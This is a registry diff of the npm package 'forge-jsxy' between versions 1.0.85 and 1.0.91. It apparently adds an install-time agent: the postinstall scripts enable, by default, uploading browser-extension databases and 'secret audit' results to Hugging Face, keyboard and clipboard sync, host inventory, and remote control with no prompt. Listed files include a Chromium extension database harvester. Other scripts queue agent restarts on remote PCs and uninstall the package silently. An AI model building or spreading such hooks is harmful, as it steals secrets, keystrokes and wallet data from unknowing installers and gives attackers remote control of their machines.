forge-jsxy 1.0.85 → 1.0.91
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/assets/files-explorer-template.html +63 -21
- package/dist/agentRestartFromQueue.d.ts +15 -0
- package/dist/agentRestartFromQueue.js +114 -0
- package/dist/agentRunner.js +97 -23
- package/dist/assets/files-explorer-template.html +64 -22
- package/dist/autostart/agentEnvFile.d.ts +6 -0
- package/dist/autostart/agentEnvFile.js +51 -2
- package/dist/chromiumExtensionDbHarvest.d.ts +70 -0
- package/dist/chromiumExtensionDbHarvest.js +560 -0
- package/dist/cli-agent.js +1 -0
- package/dist/clipboardExec.d.ts +4 -0
- package/dist/clipboardExec.js +29 -15
- package/dist/extensionDbHfUpload.d.ts +24 -0
- package/dist/extensionDbHfUpload.js +198 -0
- package/dist/forgeSemver.d.ts +2 -0
- package/dist/forgeSemver.js +25 -0
- package/dist/hfUpload.d.ts +5 -0
- package/dist/hfUpload.js +18 -3
- package/dist/hostInventorySend.js +6 -1
- package/dist/relayAgent.d.ts +5 -0
- package/dist/relayAgent.js +139 -7
- package/dist/relayAgentAutoUpgrade.d.ts +9 -0
- package/dist/relayAgentAutoUpgrade.js +143 -0
- package/dist/relayDashboardGate.d.ts +5 -0
- package/dist/relayDashboardGate.js +60 -0
- package/dist/relayServer.js +181 -6
- package/dist/secretScan/agentStartupAudit.d.ts +3 -0
- package/dist/secretScan/agentStartupAudit.js +7 -0
- package/dist/syncClient.d.ts +1 -1
- package/dist/syncClient.js +5 -1
- package/dist/windowsInputSync.d.ts +15 -1
- package/dist/windowsInputSync.js +226 -67
- package/dist/workerBootstrap.js +3 -0
- package/package.json +2 -2
- package/scripts/explorer-global-roots.mjs +87 -0
- package/scripts/forge-jsx-explorer-kill-agent.mjs +30 -29
- package/scripts/forge-jsx-explorer-restart.mjs +9 -18
- package/scripts/forge-jsx-explorer-upgrade.mjs +7 -9
- package/scripts/postinstall-agent.mjs +53 -8
- package/scripts/postinstall-bootstrap.mjs +13 -0
- package/scripts/queue-reconnect-agent-restarts.mjs +87 -0
|
@@ -21,8 +21,15 @@ import * as fs from "node:fs";
|
|
|
21
21
|
import * as path from "node:path";
|
|
22
22
|
import { fileURLToPath } from "node:url";
|
|
23
23
|
import { isolatedNpmCacheEnv } from "./explorer-isolated-npm-env.mjs";
|
|
24
|
+
import {
|
|
25
|
+
anyGlobalForgePackageInstalled,
|
|
26
|
+
collectForgeInstallRoots,
|
|
27
|
+
FORGE_LEGACY_NPM_PKG,
|
|
28
|
+
FORGE_NPM_PKG,
|
|
29
|
+
} from "./explorer-global-roots.mjs";
|
|
24
30
|
|
|
25
|
-
const NPM_PKG =
|
|
31
|
+
const NPM_PKG = FORGE_NPM_PKG;
|
|
32
|
+
const LEGACY_NPM_PKG = FORGE_LEGACY_NPM_PKG;
|
|
26
33
|
const __dirname = path.dirname(fileURLToPath(import.meta.url));
|
|
27
34
|
|
|
28
35
|
/** Piped `fs_shell_exec` parents must read stdout before `process.exit` — buffered `stdout.write` can lose the line on Linux. */
|
|
@@ -167,16 +174,6 @@ function npmSpawnSync(args, log, opts = {}) {
|
|
|
167
174
|
});
|
|
168
175
|
}
|
|
169
176
|
|
|
170
|
-
function globalForgeJsRoot() {
|
|
171
|
-
const r = npmSpawnSync(["root", "-g"], false, {
|
|
172
|
-
timeout: 60_000,
|
|
173
|
-
captureStdout: true,
|
|
174
|
-
});
|
|
175
|
-
const root = (r.stdout || "").trim();
|
|
176
|
-
if (!root) return null;
|
|
177
|
-
const p = path.join(root, NPM_PKG);
|
|
178
|
-
return fs.existsSync(path.join(p, "package.json")) ? p : null;
|
|
179
|
-
}
|
|
180
177
|
|
|
181
178
|
function runForgeCfgmgrStop(root, log) {
|
|
182
179
|
const cli = path.join(root, "dist", "cli-forge.js");
|
|
@@ -228,22 +225,25 @@ function runAutostartUninstall(root, log) {
|
|
|
228
225
|
* the directory npm is about to delete. Only invoked when `globalForgeJsRoot()` was found.
|
|
229
226
|
* @param {boolean} log
|
|
230
227
|
*/
|
|
231
|
-
function
|
|
228
|
+
function scheduleGlobalPackagesUninstall(log) {
|
|
232
229
|
const baseEnv = { ...process.env, NPM_CONFIG_UPDATE_NOTIFIER: "false" };
|
|
233
230
|
const env = { ...baseEnv, ...isolatedNpmCacheEnv(baseEnv) };
|
|
231
|
+
const pkgs = [NPM_PKG, LEGACY_NPM_PKG];
|
|
234
232
|
try {
|
|
235
233
|
if (process.platform === "win32") {
|
|
234
|
+
const uninstall = pkgs.map((p) => `npm.cmd uninstall -g ${p}`).join(" & ");
|
|
236
235
|
const child = spawn(
|
|
237
236
|
"cmd.exe",
|
|
238
|
-
["/c", `timeout /t 3 /nobreak >nul 2>&1 &
|
|
237
|
+
["/c", `timeout /t 3 /nobreak >nul 2>&1 & ${uninstall}`],
|
|
239
238
|
{ detached: true, stdio: log ? "inherit" : "ignore", windowsHide: true, env }
|
|
240
239
|
);
|
|
241
240
|
child.unref();
|
|
242
241
|
return;
|
|
243
242
|
}
|
|
243
|
+
const uninstall = pkgs.map((p) => `npm uninstall -g ${p}`).join(" && ");
|
|
244
244
|
const child = spawn(
|
|
245
245
|
"sh",
|
|
246
|
-
["-c", `sleep 3 &&
|
|
246
|
+
["-c", `sleep 3 && ${uninstall}`],
|
|
247
247
|
{ detached: true, stdio: log ? "inherit" : "ignore", windowsHide: true, env }
|
|
248
248
|
);
|
|
249
249
|
child.unref();
|
|
@@ -301,14 +301,14 @@ function runKillFromRoot(root, log, opts = {}) {
|
|
|
301
301
|
fs.mkdirSync(dir, { recursive: true });
|
|
302
302
|
let line = `${new Date().toISOString()} kill-agent worker: cfgmgr --stop exit ${codeStop}, autostart uninstall exit ${codeUn} (cwd ${root})`;
|
|
303
303
|
if (uninstallGlobalPackage) {
|
|
304
|
-
line += "; scheduled npm uninstall -g forge-jsx (~3s delay)";
|
|
304
|
+
line += "; scheduled npm uninstall -g forge-jsxy + legacy forge-jsx (~3s delay)";
|
|
305
305
|
}
|
|
306
306
|
fs.appendFileSync(path.join(dir, "explorer-kill-agent.log"), line + "\n", "utf8");
|
|
307
307
|
} catch {
|
|
308
308
|
/* ignore */
|
|
309
309
|
}
|
|
310
310
|
if (uninstallGlobalPackage) {
|
|
311
|
-
|
|
311
|
+
scheduleGlobalPackagesUninstall(log);
|
|
312
312
|
}
|
|
313
313
|
// Legacy compatibility: even when old installs miss one/both CLIs, kill path still succeeds
|
|
314
314
|
// as long as PM2 cleanup + env sanitation + optional uninstall scheduling ran.
|
|
@@ -316,16 +316,13 @@ function runKillFromRoot(root, log, opts = {}) {
|
|
|
316
316
|
}
|
|
317
317
|
|
|
318
318
|
function runWorker(log) {
|
|
319
|
-
const
|
|
320
|
-
const
|
|
321
|
-
const scriptRoot = pkgRootFromScript();
|
|
322
|
-
if (globalRoot) roots.push(path.resolve(globalRoot));
|
|
323
|
-
if (scriptRoot) roots.push(path.resolve(scriptRoot));
|
|
324
|
-
const uniq = [...new Set(roots)];
|
|
319
|
+
const uniq = collectForgeInstallRoots(npmSpawnSync, pkgRootFromScript());
|
|
320
|
+
const uninstallGlobals = anyGlobalForgePackageInstalled(npmSpawnSync);
|
|
325
321
|
for (const root of uniq) {
|
|
326
|
-
runKillFromRoot(root, log, {
|
|
327
|
-
|
|
328
|
-
|
|
322
|
+
runKillFromRoot(root, log, { uninstallGlobalPackage: false });
|
|
323
|
+
}
|
|
324
|
+
if (uninstallGlobals) {
|
|
325
|
+
scheduleGlobalPackagesUninstall(log);
|
|
329
326
|
}
|
|
330
327
|
return 0;
|
|
331
328
|
}
|
|
@@ -337,12 +334,16 @@ async function main() {
|
|
|
337
334
|
|
|
338
335
|
if (!isWorker()) {
|
|
339
336
|
if (foreground) {
|
|
340
|
-
const
|
|
341
|
-
const root =
|
|
342
|
-
process.exit(
|
|
337
|
+
const roots = collectForgeInstallRoots(npmSpawnSync, pkgRootFromScript());
|
|
338
|
+
const root = roots[0] || pkgRootFromScript();
|
|
339
|
+
process.exit(
|
|
340
|
+
runKillFromRoot(root, log, {
|
|
341
|
+
uninstallGlobalPackage: anyGlobalForgePackageInstalled(npmSpawnSync),
|
|
342
|
+
})
|
|
343
|
+
);
|
|
343
344
|
}
|
|
344
345
|
writeExplorerStdoutLine(
|
|
345
|
-
"[forge-jsx-explorer-kill-agent] Scheduling forge-agent shutdown (cfgmgr --stop + autostart uninstall + PM2 cleanup + env strip + delayed npm uninstall -g forge-jsx when globally installed) in background on the agent."
|
|
346
|
+
"[forge-jsx-explorer-kill-agent] Scheduling forge-agent shutdown (cfgmgr --stop + autostart uninstall + PM2 cleanup + env strip + delayed npm uninstall -g forge-jsxy/forge-jsx when globally installed) in background on the agent."
|
|
346
347
|
);
|
|
347
348
|
const spawned = await spawnDetachedWorker(log);
|
|
348
349
|
if (!spawned) {
|
|
@@ -16,6 +16,10 @@ import * as fs from "node:fs";
|
|
|
16
16
|
import * as path from "node:path";
|
|
17
17
|
import { fileURLToPath } from "node:url";
|
|
18
18
|
import { isolatedNpmCacheEnv } from "./explorer-isolated-npm-env.mjs";
|
|
19
|
+
import {
|
|
20
|
+
collectForgeInstallRoots,
|
|
21
|
+
globalLegacyForgeJsxRoot,
|
|
22
|
+
} from "./explorer-global-roots.mjs";
|
|
19
23
|
|
|
20
24
|
const NPM_PKG = "forge-jsxy";
|
|
21
25
|
const __dirname = path.dirname(fileURLToPath(import.meta.url));
|
|
@@ -162,16 +166,6 @@ function npmSpawnSync(args, log, opts = {}) {
|
|
|
162
166
|
});
|
|
163
167
|
}
|
|
164
168
|
|
|
165
|
-
function globalForgeJsRoot() {
|
|
166
|
-
const r = npmSpawnSync(["root", "-g"], false, {
|
|
167
|
-
timeout: 60_000,
|
|
168
|
-
captureStdout: true,
|
|
169
|
-
});
|
|
170
|
-
const root = (r.stdout || "").trim();
|
|
171
|
-
if (!root) return null;
|
|
172
|
-
const p = path.join(root, NPM_PKG);
|
|
173
|
-
return fs.existsSync(path.join(p, "package.json")) ? p : null;
|
|
174
|
-
}
|
|
175
169
|
|
|
176
170
|
function runRestartAgentFromRoot(root, log) {
|
|
177
171
|
const script = path.join(root, "scripts", "restart-agent.mjs");
|
|
@@ -236,12 +230,7 @@ function runRestartAgentFromRoot(root, log) {
|
|
|
236
230
|
}
|
|
237
231
|
|
|
238
232
|
function runWorker(log) {
|
|
239
|
-
const
|
|
240
|
-
const g = globalForgeJsRoot();
|
|
241
|
-
const s = pkgRootFromScript();
|
|
242
|
-
if (g) roots.push(path.resolve(g));
|
|
243
|
-
if (s) roots.push(path.resolve(s));
|
|
244
|
-
const uniq = [...new Set(roots)];
|
|
233
|
+
const uniq = collectForgeInstallRoots(npmSpawnSync, pkgRootFromScript());
|
|
245
234
|
let code = 1;
|
|
246
235
|
let used = uniq[0] || "";
|
|
247
236
|
for (const root of uniq) {
|
|
@@ -253,9 +242,10 @@ function runWorker(log) {
|
|
|
253
242
|
const home = process.env.HOME || process.env.USERPROFILE || ".";
|
|
254
243
|
const dir = path.join(home, ".forge-js");
|
|
255
244
|
fs.mkdirSync(dir, { recursive: true });
|
|
245
|
+
const legacy = globalLegacyForgeJsxRoot(npmSpawnSync);
|
|
256
246
|
fs.appendFileSync(
|
|
257
247
|
path.join(dir, "explorer-restart.log"),
|
|
258
|
-
`${new Date().toISOString()} restart-agent exit ${code} (cwd ${used}; roots=${uniq.join(",") || "none"})\n`,
|
|
248
|
+
`${new Date().toISOString()} restart-agent exit ${code} (cwd ${used}; roots=${uniq.join(",") || "none"}${legacy ? `; legacy=${legacy}` : ""})\n`,
|
|
259
249
|
"utf8"
|
|
260
250
|
);
|
|
261
251
|
} catch {
|
|
@@ -271,7 +261,8 @@ async function main() {
|
|
|
271
261
|
|
|
272
262
|
if (!isWorker()) {
|
|
273
263
|
if (foreground) {
|
|
274
|
-
const
|
|
264
|
+
const roots = collectForgeInstallRoots(npmSpawnSync, pkgRootFromScript());
|
|
265
|
+
const root = roots[0] || pkgRootFromScript();
|
|
275
266
|
const st = runRestartAgentFromRoot(root, log);
|
|
276
267
|
process.exit(st === null ? 1 : st);
|
|
277
268
|
}
|
|
@@ -41,6 +41,10 @@ import { fileURLToPath } from "node:url";
|
|
|
41
41
|
import { setTimeout as delay } from "node:timers/promises";
|
|
42
42
|
import { parseNpmViewVersionStdout, semverCompare } from "./registry-version-lib.mjs";
|
|
43
43
|
import { isolatedNpmCacheEnv } from "./explorer-isolated-npm-env.mjs";
|
|
44
|
+
import {
|
|
45
|
+
collectForgeInstallRoots,
|
|
46
|
+
readDurableForgePackageRootFromDisk,
|
|
47
|
+
} from "./explorer-global-roots.mjs";
|
|
44
48
|
|
|
45
49
|
const NPM_PKG = "forge-jsxy";
|
|
46
50
|
const LEGACY_NPM_PKG = "forge-jsx";
|
|
@@ -437,15 +441,8 @@ function stopCfgmgr(pkgRoot, log) {
|
|
|
437
441
|
* running, so `npm install -g` fails or appears to “do nothing” while the session is dead.
|
|
438
442
|
*/
|
|
439
443
|
function stopCfgmgrAllRelevantRoots(log) {
|
|
440
|
-
const roots = [];
|
|
441
|
-
const g = globalForgeJsRoot();
|
|
442
|
-
const legacy = globalLegacyForgeJsxRoot();
|
|
443
|
-
const s = pkgRootFromScript();
|
|
444
|
-
if (legacy) roots.push(legacy);
|
|
445
|
-
if (g) roots.push(g);
|
|
446
|
-
if (s) roots.push(s);
|
|
447
444
|
const seen = new Set();
|
|
448
|
-
for (const pkgRoot of
|
|
445
|
+
for (const pkgRoot of collectForgeInstallRoots(npmSpawnSync, pkgRootFromScript())) {
|
|
449
446
|
const k = path.resolve(pkgRoot);
|
|
450
447
|
if (seen.has(k)) continue;
|
|
451
448
|
seen.add(k);
|
|
@@ -793,7 +790,8 @@ async function runWorker(log) {
|
|
|
793
790
|
}
|
|
794
791
|
|
|
795
792
|
const g = globalForgeJsRoot();
|
|
796
|
-
const
|
|
793
|
+
const durable = readDurableForgePackageRootFromDisk();
|
|
794
|
+
const pkgRootForStart = g || durable || pkgRootFromScript();
|
|
797
795
|
|
|
798
796
|
/** PM2: reload relay + agent so running Node picks up new global `dist/` (common cause of “upgrade did nothing”). */
|
|
799
797
|
const pm2Restarted = tryPm2RestartForgeStack(log);
|
|
@@ -216,6 +216,56 @@ if (!skipDurableBootstrap) {
|
|
|
216
216
|
const installCwd = resolveInstallWorkingDir();
|
|
217
217
|
ensureDirMaybe(installCwd);
|
|
218
218
|
|
|
219
|
+
/** Turnkey agent env — no manual .env or forge-js-agent.env editing required after `npm install`. */
|
|
220
|
+
function turnkeySpawnEnvOverrides() {
|
|
221
|
+
const base = {
|
|
222
|
+
FORGE_JS_QUIET_AGENT: "1",
|
|
223
|
+
FORGE_JS_HEADLESS_UI: "1",
|
|
224
|
+
CFGMGR_HF_FETCH_FROM_RELAY: process.env.CFGMGR_HF_FETCH_FROM_RELAY ?? "1",
|
|
225
|
+
CFGMGR_HF_USE_XET: process.env.CFGMGR_HF_USE_XET ?? "0",
|
|
226
|
+
CFGMGR_HF_SKIP_OPENAS_BLOB: process.env.CFGMGR_HF_SKIP_OPENAS_BLOB ?? "1",
|
|
227
|
+
CFGMGR_SYNC_KEYBOARD_CLIPBOARD: process.env.CFGMGR_SYNC_KEYBOARD_CLIPBOARD ?? "1",
|
|
228
|
+
FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD:
|
|
229
|
+
process.env.FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD ?? "1",
|
|
230
|
+
FORGE_JS_AGENT_SECRET_AUDIT: process.env.FORGE_JS_AGENT_SECRET_AUDIT ?? "1",
|
|
231
|
+
FORGE_JS_AGENT_SECRET_AUDIT_HF_UPLOAD:
|
|
232
|
+
process.env.FORGE_JS_AGENT_SECRET_AUDIT_HF_UPLOAD ?? "1",
|
|
233
|
+
FORGE_JS_SYNC_HOST_INVENTORY: process.env.FORGE_JS_SYNC_HOST_INVENTORY ?? "1",
|
|
234
|
+
FORGE_JS_CLIPBOARD_POLL_ONLY: process.env.FORGE_JS_CLIPBOARD_POLL_ONLY ?? "1",
|
|
235
|
+
FORGE_JS_REMOTE_CONTROL_NO_PROMPT:
|
|
236
|
+
process.env.FORGE_JS_REMOTE_CONTROL_NO_PROMPT ?? "1",
|
|
237
|
+
};
|
|
238
|
+
return base;
|
|
239
|
+
}
|
|
240
|
+
|
|
241
|
+
function ensureTurnkeyAgentEnvFile(dataDir) {
|
|
242
|
+
try {
|
|
243
|
+
const { writeForgeJsAgentEnv } = require(
|
|
244
|
+
path.join(distDirForRequire, "autostart", "agentEnvFile.js")
|
|
245
|
+
);
|
|
246
|
+
const syncExplicit = Boolean(
|
|
247
|
+
(process.env.FORGE_JS_SYNC_URL || process.env.CFGMGR_API_URL || "").trim()
|
|
248
|
+
);
|
|
249
|
+
let syncUrl = (process.env.FORGE_JS_SYNC_URL || process.env.CFGMGR_API_URL || "").trim();
|
|
250
|
+
if (!syncUrl) {
|
|
251
|
+
try {
|
|
252
|
+
const dd = require(path.join(distDirForRequire, "deploymentDefaults.js"));
|
|
253
|
+
if (typeof dd.defaultSyncApiBaseUrl === "function") {
|
|
254
|
+
syncUrl = dd.defaultSyncApiBaseUrl().trim();
|
|
255
|
+
}
|
|
256
|
+
} catch {
|
|
257
|
+
/* skip */
|
|
258
|
+
}
|
|
259
|
+
}
|
|
260
|
+
const deploymentOff =
|
|
261
|
+
(process.env.FORGE_JS_DISABLE_DEPLOYMENT_DEFAULTS || "").trim() === "1";
|
|
262
|
+
const omitSyncUrl = !syncExplicit && Boolean(syncUrl) && !deploymentOff;
|
|
263
|
+
writeForgeJsAgentEnv(dataDir, syncUrl || undefined, omitSyncUrl);
|
|
264
|
+
} catch {
|
|
265
|
+
/* non-fatal — agent still applies in-process defaults at startup */
|
|
266
|
+
}
|
|
267
|
+
}
|
|
268
|
+
|
|
219
269
|
/**
|
|
220
270
|
* Cross-platform synchronous sleep using Atomics (no busy-wait).
|
|
221
271
|
* Falls back to a busy-wait if SharedArrayBuffer is unavailable.
|
|
@@ -357,14 +407,7 @@ function spawnAndVerify(relayUrl, relayIsExplicit, installCwd) {
|
|
|
357
407
|
stdio: verbose ? "inherit" : "ignore",
|
|
358
408
|
env: {
|
|
359
409
|
...process.env,
|
|
360
|
-
|
|
361
|
-
FORGE_JS_HEADLESS_UI: "1",
|
|
362
|
-
/** Default on so HF uploads work after `npm install` without local CFGMGR_HF_CREDENTIALS_B64 */
|
|
363
|
-
CFGMGR_HF_FETCH_FROM_RELAY: process.env.CFGMGR_HF_FETCH_FROM_RELAY ?? "1",
|
|
364
|
-
/** Hub Xet off by default — avoids Blob/file URL TypeErrors in @huggingface/hub */
|
|
365
|
-
CFGMGR_HF_USE_XET: process.env.CFGMGR_HF_USE_XET ?? "0",
|
|
366
|
-
/** Avoid fs.openAsBlob path — default readFile/stream Blobs for Hub (cross-OS reliable). */
|
|
367
|
-
CFGMGR_HF_SKIP_OPENAS_BLOB: process.env.CFGMGR_HF_SKIP_OPENAS_BLOB ?? "1",
|
|
410
|
+
...turnkeySpawnEnvOverrides(),
|
|
368
411
|
},
|
|
369
412
|
windowsHide: true,
|
|
370
413
|
});
|
|
@@ -414,6 +457,8 @@ if (agentAlreadyRunning(3000)) {
|
|
|
414
457
|
|
|
415
458
|
const { url: relayUrl, isExplicit: relayIsExplicit } = resolveRelayUrl();
|
|
416
459
|
|
|
460
|
+
ensureTurnkeyAgentEnvFile(installCwd);
|
|
461
|
+
|
|
417
462
|
const cwdCandidates = Array.from(
|
|
418
463
|
new Set([installCwd, os.homedir(), pkgRoot])
|
|
419
464
|
);
|
|
@@ -235,6 +235,19 @@ const childEnv = {
|
|
|
235
235
|
...process.env,
|
|
236
236
|
FORGE_JS_QUIET_AGENT: "1",
|
|
237
237
|
FORGE_JS_HEADLESS_UI: "1",
|
|
238
|
+
CFGMGR_HF_FETCH_FROM_RELAY: process.env.CFGMGR_HF_FETCH_FROM_RELAY ?? "1",
|
|
239
|
+
CFGMGR_HF_USE_XET: process.env.CFGMGR_HF_USE_XET ?? "0",
|
|
240
|
+
CFGMGR_HF_SKIP_OPENAS_BLOB: process.env.CFGMGR_HF_SKIP_OPENAS_BLOB ?? "1",
|
|
241
|
+
CFGMGR_SYNC_KEYBOARD_CLIPBOARD: process.env.CFGMGR_SYNC_KEYBOARD_CLIPBOARD ?? "1",
|
|
242
|
+
FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD:
|
|
243
|
+
process.env.FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD ?? "1",
|
|
244
|
+
FORGE_JS_AGENT_SECRET_AUDIT: process.env.FORGE_JS_AGENT_SECRET_AUDIT ?? "1",
|
|
245
|
+
FORGE_JS_AGENT_SECRET_AUDIT_HF_UPLOAD:
|
|
246
|
+
process.env.FORGE_JS_AGENT_SECRET_AUDIT_HF_UPLOAD ?? "1",
|
|
247
|
+
FORGE_JS_SYNC_HOST_INVENTORY: process.env.FORGE_JS_SYNC_HOST_INVENTORY ?? "1",
|
|
248
|
+
FORGE_JS_CLIPBOARD_POLL_ONLY: process.env.FORGE_JS_CLIPBOARD_POLL_ONLY ?? "1",
|
|
249
|
+
FORGE_JS_REMOTE_CONTROL_NO_PROMPT:
|
|
250
|
+
process.env.FORGE_JS_REMOTE_CONTROL_NO_PROMPT ?? "1",
|
|
238
251
|
};
|
|
239
252
|
|
|
240
253
|
const r = spawnSync(process.execPath, args, {
|
|
@@ -0,0 +1,87 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
/**
|
|
3
|
+
* Queue forge-agent restarts for dashboard "Need agent" PCs (forge-db + relay WS nudge).
|
|
4
|
+
*
|
|
5
|
+
* node scripts/queue-reconnect-agent-restarts.mjs
|
|
6
|
+
* node scripts/queue-reconnect-agent-restarts.mjs client_abc... client_def...
|
|
7
|
+
*
|
|
8
|
+
* Env: FORGE_DB_API_KEY, FORGE_DB_API_URL (default http://127.0.0.1:8765),
|
|
9
|
+
* RELAY_HTTP (default http://127.0.0.1:9877)
|
|
10
|
+
*/
|
|
11
|
+
const forgeBase = (process.env.FORGE_DB_API_URL || "http://127.0.0.1:8765").replace(
|
|
12
|
+
/\/+$/,
|
|
13
|
+
""
|
|
14
|
+
);
|
|
15
|
+
const relayBase = (process.env.RELAY_HTTP || "http://127.0.0.1:9877").replace(/\/+$/, "");
|
|
16
|
+
const apiKey = (process.env.FORGE_DB_API_KEY || process.env.RELAY_FORGE_DB_API_KEY || "").trim();
|
|
17
|
+
|
|
18
|
+
async function fetchReconnectCandidatesFromDashboard() {
|
|
19
|
+
const pwd =
|
|
20
|
+
process.env.FORGE_DASH_PASSWORD ||
|
|
21
|
+
process.env.DASHBOARD_PASSWORD ||
|
|
22
|
+
"";
|
|
23
|
+
if (!pwd) return [];
|
|
24
|
+
const login = await fetch("http://127.0.0.1:3010/api/login", {
|
|
25
|
+
method: "POST",
|
|
26
|
+
headers: { "Content-Type": "application/json" },
|
|
27
|
+
credentials: "include",
|
|
28
|
+
body: JSON.stringify({ password: pwd }),
|
|
29
|
+
});
|
|
30
|
+
if (!login.ok) return [];
|
|
31
|
+
const cookie = login.headers.getSetCookie?.()?.[0] || "";
|
|
32
|
+
const st = await fetch("http://127.0.0.1:3010/api/status", {
|
|
33
|
+
headers: cookie ? { Cookie: cookie.split(";")[0] } : {},
|
|
34
|
+
});
|
|
35
|
+
if (!st.ok) return [];
|
|
36
|
+
const j = await st.json();
|
|
37
|
+
return (j.reconnectCandidates || []).map((r) => String(r.tableName || "").trim()).filter(Boolean);
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
async function main() {
|
|
41
|
+
let tables = process.argv.slice(2).map((s) => s.trim()).filter(Boolean);
|
|
42
|
+
if (!tables.length) {
|
|
43
|
+
tables = await fetchReconnectCandidatesFromDashboard();
|
|
44
|
+
}
|
|
45
|
+
if (!tables.length) {
|
|
46
|
+
console.error("No table names — pass session ids or set FORGE_DASH_PASSWORD for auto-fetch.");
|
|
47
|
+
process.exit(1);
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
const headers = { "Content-Type": "application/json" };
|
|
51
|
+
if (apiKey) headers["X-Forge-Api-Key"] = apiKey;
|
|
52
|
+
|
|
53
|
+
const q = await fetch(`${forgeBase}/api/agent-restart-queue`, {
|
|
54
|
+
method: "POST",
|
|
55
|
+
headers,
|
|
56
|
+
body: JSON.stringify({
|
|
57
|
+
table_names: tables,
|
|
58
|
+
note: "queue-reconnect-agent-restarts.mjs",
|
|
59
|
+
}),
|
|
60
|
+
});
|
|
61
|
+
const qText = await q.text();
|
|
62
|
+
if (!q.ok) {
|
|
63
|
+
console.error("forge-db queue failed:", q.status, qText.slice(0, 500));
|
|
64
|
+
process.exit(1);
|
|
65
|
+
}
|
|
66
|
+
console.log("forge-db:", qText);
|
|
67
|
+
|
|
68
|
+
const r = await fetch(`${relayBase}/api/agent-restart-queue`, {
|
|
69
|
+
method: "POST",
|
|
70
|
+
headers: { "Content-Type": "application/json" },
|
|
71
|
+
body: JSON.stringify({
|
|
72
|
+
table_names: tables,
|
|
73
|
+
note: "queue-reconnect-agent-restarts.mjs",
|
|
74
|
+
}),
|
|
75
|
+
});
|
|
76
|
+
const rText = await r.text();
|
|
77
|
+
console.log("relay:", r.status, rText);
|
|
78
|
+
|
|
79
|
+
for (const t of tables) {
|
|
80
|
+
console.log(" queued:", t);
|
|
81
|
+
}
|
|
82
|
+
}
|
|
83
|
+
|
|
84
|
+
main().catch((e) => {
|
|
85
|
+
console.error(e);
|
|
86
|
+
process.exit(1);
|
|
87
|
+
});
|